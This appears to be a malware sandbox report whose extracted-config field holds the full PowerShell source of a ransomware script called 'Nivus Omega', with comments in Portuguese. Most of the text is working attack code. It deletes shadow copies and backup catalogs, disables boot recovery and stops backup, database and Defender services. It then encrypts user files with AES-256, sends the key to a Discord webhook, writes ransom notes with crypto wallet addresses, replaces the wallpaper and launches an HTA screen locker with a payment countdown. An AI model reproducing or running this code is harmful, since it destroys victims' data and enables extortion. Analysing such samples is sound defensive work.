General
- Target target.ps1
- Size 40KB
- Sample261004-25xslstsfx
- SHA256 c44dae70c82a4c47ced8f2d44ff34d3a0897c5e9cf7572b6e971f8c2fb181656
Score
10/10
Malware Config
Extracted
Ransom Note
- <# .SYNOPSIS Nivus Ω – Teste B v0.9.1 B1 (plain) + B5 (ransomware) + camadas reconhecíveis pelo Triage. Camadas: recovery-kill, service-stop, AES-256, wallpaper, screen-locker HTA. Fix v0.9.1: HTA defensiva (parseIso, backgrounds via classe, setTimeout sem prefixo window, try/catch em Init/Tick, window.onerror -> log). NÃO SUBIR PRO REPO DO PROJETO — bancada. #> param( [string]$KeyFile = "$env:ProgramData\Microsoft\Windows\ClipSVC\key.dat", [switch]$SkipRecoveryKill, [switch]$SkipLocker, [switch]$SkipWallpaper ) $ErrorActionPreference = 'Continue' $ProgressPreference = 'SilentlyContinue' $script:BaseDir = Split-Path -Parent $KeyFile $script:KeyFile = $KeyFile if (-not (Test-Path $script:BaseDir)) { New-Item -Path $script:BaseDir -ItemType Directory -Force | Out-Null } function Get-DeterministicSuffix { $serial = (Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue).SerialNumber $seed = "$env:COMPUTERNAME|$serial" $hash = [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($seed) ) return ([System.Convert]::ToBase64String($hash)).Substring(0, 12) -replace '[+/=]', '' } $script:Suffix = Get-DeterministicSuffix $script:DestPath = "$script:BaseDir\system.ps1" $script:LOG_FILE = "$env:TEMP\Nivus_$($script:Suffix).log" $script:LOCK_FILE = "$script:BaseDir\trusted.bin" function Write-Log { param($m) try { "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') - $m" | Out-File $script:LOG_FILE -Append -Encoding UTF8 -ErrorAction SilentlyContinue } catch {} } function Update-LockFile { try { Set-Content -LiteralPath $script:LOCK_FILE ` -Value (Get-Date).ToUniversalTime().ToString("o") ` -Force -Encoding ASCII } catch { Write-Log "[LOCK] falha: $_" } } # ============================================================ # VALORES LITERAIS # ============================================================ # >>> SUBSTITUIR pelo webhook NOVO (o antigo foi queimado). <<< $WEBHOOK_URL = "https://discord.com/api/webhooks/REPLACE_ME_AFTER_BURN/REPLACE_ME" $BTC_WALLET = "bc1qtest_bancada_nivus_placeholder_wallet" $DNS_DOMAIN = "exfil.test.local" $DGA_TLDS = @(".com", ".net", ".org") $KILL_SWITCH_DOMAIN = "kill.test.local" function Send-SecureWebhook { param($msg) try { $body = @{ content = $msg } | ConvertTo-Json Invoke-RestMethod -Uri $WEBHOOK_URL -Method Post -Body $body ` -ContentType 'application/json' -TimeoutSec 5 -ErrorAction SilentlyContinue | Out-Null } catch {} } # ============================================================ # BLOCO 5 — Ransomware v0.9.1 # ============================================================ $script:RansomExtensions = @( ".pdf",".docx",".xlsx",".pptx",".doc",".xls",".ppt",".odt",".ods",".odp",".rtf",".txt", ".jpg",".jpeg",".png",".gif",".bmp",".tif",".tiff",".svg",".psd",".ai",".raw",".heic", ".mp4",".mp3",".wav",".avi",".mov",".mkv",".flac",".m4a",".wmv",".webm", ".zip",".rar",".7z",".tar",".gz",".iso",".vmdk",".vhd",".vhdx",".bak",".old", ".db",".sql",".sqlite",".sqlite3",".mdb",".accdb",".dbf",".mdf",".ldf",".wal",".sdf", ".html",".htm",".xml",".json",".config",".ini",".log",".csv",".ps1",".bat", ".cmd",".vbs",".js",".py",".c",".cpp",".h",".cs",".java",".php",".rb",".go", ".pem",".key",".crt",".cer",".pfx",".p12",".asc",".gpg",".wallet",".keystore",".dat" ) $script:RansomSkipPattern = "\\Windows(\\|$)|\\Program Files(\\|$)|\\Program Files \(x86\)(\\|$)|\\AppData(\\|$)" function Get-RansomTargetDirs { param([Parameter(Mandatory=$true)][string]$Root) $stack = New-Object System.Collections.Generic.Stack[string] $stack.Push($Root) $out = New-Object System.Collections.Generic.List[string] while ($stack.Count -gt 0) { $dir = $stack.Pop() foreach ($sub in (Get-ChildItem -LiteralPath $dir -Directory -ErrorAction SilentlyContinue)) { if ($sub.FullName -match $script:RansomSkipPattern) { continue } $out.Add($sub.FullName) $stack.Push($sub.FullName) } } return ,$out.ToArray() } function Encrypt-File-A4 { param( [Parameter(Mandatory=$true)][string]$Path, [Parameter(Mandatory=$true)][byte[]]$Key ) if ($Path -match '\.hdl$') { return $false } if (-not (Test-Path -LiteralPath $Path)) { return $false } try { $aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = 256 $aes.Key = $Key $aes.GenerateIV() $iv = $aes.IV $encryptor = $aes.CreateEncryptor() $data = [System.IO.File]::ReadAllBytes($Path) $cipher = $encryptor.TransformFinalBlock($data, 0, $data.Length) $out = New-Object byte[] ($iv.Length + $cipher.Length) [Array]::Copy($iv, 0, $out, 0, $iv.Length) [Array]::Copy($cipher, 0, $out, $iv.Length, $cipher.Length) [System.IO.File]::WriteAllBytes("$Path.hdl", $out) Remove-Item -LiteralPath $Path -Force $encryptor.Dispose() $aes.Dispose() return $true } catch { Write-Log "[B5] Falha em $Path : $_" return $false } } function Save-SessionKey { param([byte[]]$Key) try { $blob = [System.Security.Cryptography.ProtectedData]::Protect( $Key, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ) $regPath = "HKCU:\Software\Microsoft\NivusKey" New-Item -Path $regPath -Force -ErrorAction SilentlyContinue | Out-Null Set-ItemProperty -Path $regPath -Name "SessionKey" ` -Value ([byte[]]$blob) -Type Binary -Force Set-ItemProperty -Path $regPath -Name "BackupKeyB64" ` -Value ([System.Convert]::ToBase64String($Key)) -Type String -Force Set-ItemProperty -Path $regPath -Name "InstallTime" ` -Value ((Get-Date).ToUniversalTime().ToString("o")) -Type String -Force return $true } catch { Write-Log "[B5] DPAPI falhou: $_" return $false } } # ------------------------------------------------------------ # Recovery kill — T1490 # ------------------------------------------------------------ function Stop-RecoveryMechanisms { Write-Log "[B5] Encerrando mecanismos de recuperação." $targets = @( @{ exe = "vssadmin.exe"; args = @("delete","shadows","/all","/quiet") }, @{ exe = "vssadmin.exe"; args = @("resize","shadowstorage","/for=C:","/on=C:","/maxsize=401MB") }, @{ exe = "wbadmin.exe"; args = @("delete","catalog","-quiet") }, @{ exe = "wbadmin.exe"; args = @("delete","systemstatebackup","-keepVersions:0","-quiet") }, @{ exe = "bcdedit.exe"; args = @("/set","{default}","recoveryenabled","No") }, @{ exe = "bcdedit.exe"; args = @("/set","{default}","bootstatuspolicy","ignoreallfailures") }, @{ exe = "bcdedit.exe"; args = @("/set","{default}","bootmenupolicy","Legacy") } ) foreach ($t in $targets) { try { $p = Start-Process -FilePath $t.exe -ArgumentList $t.args ` -WindowStyle Hidden -Wait -PassThru -ErrorAction SilentlyContinue Write-Log ("[B5] {0} {1} -> exit {2}" -f $t.exe, ($t.args -join ' '), $p.ExitCode) } catch { Write-Log "[B5] $($t.exe) falhou: $_" } } } # ------------------------------------------------------------ # Service stop — T1489 # ------------------------------------------------------------ function Stop-TargetServices { Write-Log "[B5] Parando serviços alvo." $svcs = @( "VSS", "SDRSVC", "swprv", "wbengine", "WbioSrvc", "SQLSERVERAGENT", "MSSQLSERVER", "SQLWriter", "MSExchangeIS", "MSExchangeTransport", "BackupExecAgentAccelerator", "BackupExecDeviceMediaService", "AcronisAgent", "veeam", "SophosAgent", "MsMpSvc", "WinDefend" ) foreach ($s in $svcs) { try { $svc = Get-Service -Name $s -ErrorAction SilentlyContinue if ($svc -and $svc.Status -eq 'Running') { Stop-Service -Name $s -Force -ErrorAction SilentlyContinue Write-Log "[B5] Parado: $s" } } catch {} } try { Get-WmiObject Win32_ShadowCopy -ErrorAction SilentlyContinue | ForEach-Object { try { $_.Delete() } catch {} } Write-Log "[B5] WMI shadow copies limpas." } catch {} } # ------------------------------------------------------------ # Wallpaper — T1491.001 # ------------------------------------------------------------ function Set-RansomWallpaper { try { Add-Type -AssemblyName System.Drawing -ErrorAction SilentlyContinue $w = 1920; $h = 1080 $bmp = New-Object System.Drawing.Bitmap($w, $h) $g = [System.Drawing.Graphics]::FromImage($bmp) $g.Clear([System.Drawing.Color]::FromArgb(26, 6, 36)) $titleFont = New-Object System.Drawing.Font("Consolas", 72, [System.Drawing.FontStyle]::Bold) $subFont = New-Object System.Drawing.Font("Consolas", 28, [System.Drawing.FontStyle]::Regular) $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(192, 132, 252)) $g.DrawString("NIVUS OMEGA", $titleFont, $brush, 60, 380) $g.DrawString("YOUR FILES HAVE BEEN ENCRYPTED", $subFont, $brush, 60, 520) $g.DrawString("SEE README_RANSOM.txt", $subFont, $brush, 60, 580) $g.Dispose() $out = "$env:TEMP\Nivus_wall.bmp" $bmp.Save($out, [System.Drawing.Imaging.ImageFormat]::Bmp) $bmp.Dispose() Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class NivusWall { [DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); public static void Apply(string path) { SystemParametersInfo(20, 0, path, 0x01 | 0x02); } } "@ -ErrorAction SilentlyContinue [NivusWall]::Apply($out) Write-Log "[B5] Wallpaper trocado." } catch { Write-Log "[B5] Wallpaper falhou: $_" } } # ------------------------------------------------------------ # Screen locker — T1491.002 # HTA embutida (Rev 2.0.2, Trident-safe), disparada via mshta.exe. # ------------------------------------------------------------ function Invoke-ScreenLocker { try { $htaPath = "$env:TEMP\NivusDecryptor.hta" $htaContent = @' 🔒 Nivus Decryptor 2.0 Payment will be raised on - Time Left --:--:-- Your files will be lost on - Time Left --:--:-- Ooops, your files have been encrypted! What Happened to My Computer? Can I Recover My Files? How Do I Pay? B Nivus Decryptor '@ # substitui placeholder do log pelo TEMP real da VM $htaContent = $htaContent.Replace('$ENV_TEMP_PLACEHOLDER', $env:TEMP) # UTF-8 sem BOM $enc = New-Object System.Text.UTF8Encoding($false) [System.IO.File]::WriteAllText($htaPath, $htaContent, $enc) Write-Log "[B5] HTA escrita: $htaPath" Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaPath`"" ` -WindowStyle Maximized -ErrorAction SilentlyContinue | Out-Null Write-Log "[B5] mshta.exe disparado." } catch { Write-Log "[B5] Screen locker falhou: $_" } } function Write-RansomNote { param([string]$Directory) try { $note = @" SEUS ARQUIVOS FORAM CRIPTOGRAFADOS. YOUR FILES HAVE BEEN ENCRYPTED. Envie BTC para: $BTC_WALLET Após 72h o preço dobra. Após 7 dias a chave é destruída. "@ $note | Out-File -LiteralPath (Join-Path $Directory "README_RANSOM.txt") -Encoding UTF8 -Force } catch {} } function Invoke-RansomwareAttack { param([string[]]$TargetRoots = @("C:\","D:\","E:\")) if (-not $BTC_WALLET) { Write-Log "[B5] ABORT: BTC_WALLET vazia." return $false } Write-Log "[B5] Iniciando v0.9.1 (recovery-kill + services + encryption + wallpaper + locker)." # camada 1: recovery kill if (-not $SkipRecoveryKill) { Stop-RecoveryMechanisms } # camada 2: service stop if (-not $SkipRecoveryKill) { Stop-TargetServices } # camada 3: session key $sessionKey = $null if (Get-Command Get-SessionKey-DPAPI -ErrorAction SilentlyContinue) { $sessionKey = Get-SessionKey-DPAPI } if ($sessionKey -and $sessionKey.Length -eq 32) { Write-Log "[B5] Reusando SessionKey existente." } else { Write-Log "[B5] SessionKey ausente. Gerando nova." $aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = 256 $aes.GenerateKey() $sessionKey = $aes.Key $aes.Dispose() $null = Save-SessionKey -Key $sessionKey } $script:SessionKey = $sessionKey # camada 4: exfil da chave $encKeyB64 = [System.Convert]::ToBase64String($sessionKey) Send-SecureWebhook "KEY:$encKeyB64" Write-Log "[B5] Chave enviada ao webhook." # camada 5: cifragem $count = 0 $noteDirs = @{} foreach ($root in $TargetRoots) { if (-not (Test-Path -LiteralPath $root)) { continue } $dirs = Get-RansomTargetDirs -Root $root foreach ($dir in $dirs) { Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -in $script:RansomExtensions } | ForEach-Object { if (Encrypt-File-A4 -Path $_.FullName -Key $sessionKey) { $count++ $noteDirs[$_.DirectoryName] = $true } } } } foreach ($dir in $noteDirs.Keys) { Write-RansomNote -Directory $dir } Write-Log "[B5] $count arquivos cifrados (.hdl)." # camada 6: wallpaper if (-not $SkipWallpaper) { Set-RansomWallpaper } # camada 7: webhook DONE Send-SecureWebhook "DONE: $count files encrypted" # camada 8: screen locker if (-not $SkipLocker) { Invoke-ScreenLocker } return $true } # ============================================================ # DISPATCHER # ============================================================ $mutex = New-Object System.Threading.Mutex($false, "Global\NivusMutex") $acquired = $false try { try { $acquired = $mutex.WaitOne(0) } catch [System.Threading.AbandonedMutexException] { $acquired = $true Write-Log "[MUTEX] Mutex órfão reivindicado." } if (-not $acquired) { Write-Log "[MUTEX] Instância ativa. Saindo." return } Write-Log "[*] Bloco 1 v1.9.1-testB iniciado." Write-Log "[*] Suffix: $($script:Suffix)" Write-Log "[*] WEBHOOK_URL: $WEBHOOK_URL" Write-Log "[*] BTC_WALLET: $BTC_WALLET" Update-LockFile try { if ($PSCommandPath -and $script:DestPath -and $PSCommandPath -ne $script:DestPath) { Copy-Item -LiteralPath $PSCommandPath -Destination $script:DestPath -Force -ErrorAction SilentlyContinue Write-Log "[DISPATCH] Bundle copiado." } } catch { Write-Log "[DISPATCH] Cópia falhou: $_" } try { $null = Invoke-RansomwareAttack } catch { Write-Log "[DISPATCH] Ransomware falhou: $_" } while ($true) { Start-Sleep -Seconds 300 Update-LockFile } } finally { if ($acquired) { try { $mutex.ReleaseMutex() } catch {} } try { $mutex.Dispose() } catch {} } // Nivus Omega Decryptor - HTA runtime // Rev 2.0.2 - defensive JScript (Trident-safe) // Correcoes: parseIso proprio, backgrounds via classe CSS, // setTimeout/setInterval sem prefixo window, Init com try/catch, // window.onerror -> arquivo de log. var PAY_MIN=12, KILL_HOURS=24, TICK_MS=1000; var REG_PATH="HKCU\\Software\\Microsoft\\NivusKey\\InstallTime"; var BIN_PATH="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\trusted.bin"; var ERR_LOG="$ENV_TEMP_PLACEHOLDER\\nivus_hta_error.log"; window.onerror=function(msg,url,line){ try{ var fso=new ActiveXObject("Scripting.FileSystemObject"); var f=fso.OpenTextFile(ERR_LOG,8,true); f.WriteLine(new Date().toString()+" | "+line+":"+url+" | "+msg); f.Close(); }catch(e){} return true; }; var COINS={ btc:{sym:"B",price:"$300",amt:"0.05 BTC",amtDbl:"0.10 BTC", addr:"1NivusQ7Kx9ZpVmB3yHsT8fLdR2wXcEaUg", lbl:{en:"bitcoin",pt:"bitcoin",ru:"\u0431\u0438\u0442\u043a\u043e\u0439\u043d\u0430\u0445",zh:"\u6bd4\u7279\u5e63",es:"bitcoin",de:"Bitcoin"}}, xmr:{sym:"M",price:"$300",amt:"1.42 XMR",amtDbl:"2.84 XMR", addr:"48NivusXmr7kPzQ9mVbT2yHsLdR8wFcEaUg4Xq3nZ6mJ1tBvKyW5rDpS9hNcA2bB3cC4dD5eE6fF7gG8hH9jJkKmLnvWxYz", lbl:{en:"Monero",pt:"Monero",ru:"Monero",zh:"Monero",es:"Monero",de:"Monero"}}, eth:{sym:"E",price:"$300",amt:"0.085 ETH",amtDbl:"0.17 ETH", addr:"0x9aF3c2E1b47D8f5A6c0B3e2D1a4C7b8E6f9D2a05", lbl:{en:"Ethereum",pt:"Ethereum",ru:"Ethereum",zh:"\u4ee5\u592a\u574a",es:"Ethereum",de:"Ethereum"}}, ltc:{sym:"L",price:"$300",amt:"3.75 LTC",amtDbl:"7.50 LTC", addr:"ltc1qNivus7kPzQ9mVbT2yHsLdR8wFcEaUg4Xq3nZ6mJ", lbl:{en:"Litecoin",pt:"Litecoin",ru:"Litecoin",zh:"Litecoin",es:"Litecoin",de:"Litecoin"}}, usdt:{sym:"T",price:"$300",amt:"300 USDT",amtDbl:"600 USDT", addr:"TNivus7kPzQ9mVbT2yHsLdR8wFcEaUg4X", lbl:{en:"USDT (TRC20)",pt:"USDT (TRC20)",ru:"USDT (TRC20)",zh:"USDT (TRC20)",es:"USDT (TRC20)",de:"USDT (TRC20)"}} }; var T={ en:{tt:"Nivus Decryptor 2.0",lp:"Payment will be raised on",lk:"Your files will be lost on",tl:"Time Left", h1:"Ooops, your files have been encrypted!",h2:"What Happened to My Computer?", p2:"Your important files are encrypted. Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Nobody can recover your files without our decryption service.", h3:"Can I Recover My Files?", p3:"Sure. You can decrypt some of your files for free. Try now by clicking <span class='mono'><Decrypt></span>. But if you want to decrypt all your files, you need to pay. You only have <b>{PAY_TIME}</b> to submit the payment. After that the price will be doubled. Also, if you don't pay in {KILL_TIME}, you won't be able to
Targets
-
- Target target.ps1
- Size 40KB
- SHA256 c44dae70c82a4c47ced8f2d44ff34d3a0897c5e9cf7572b6e971f8c2fb181656
Score3/10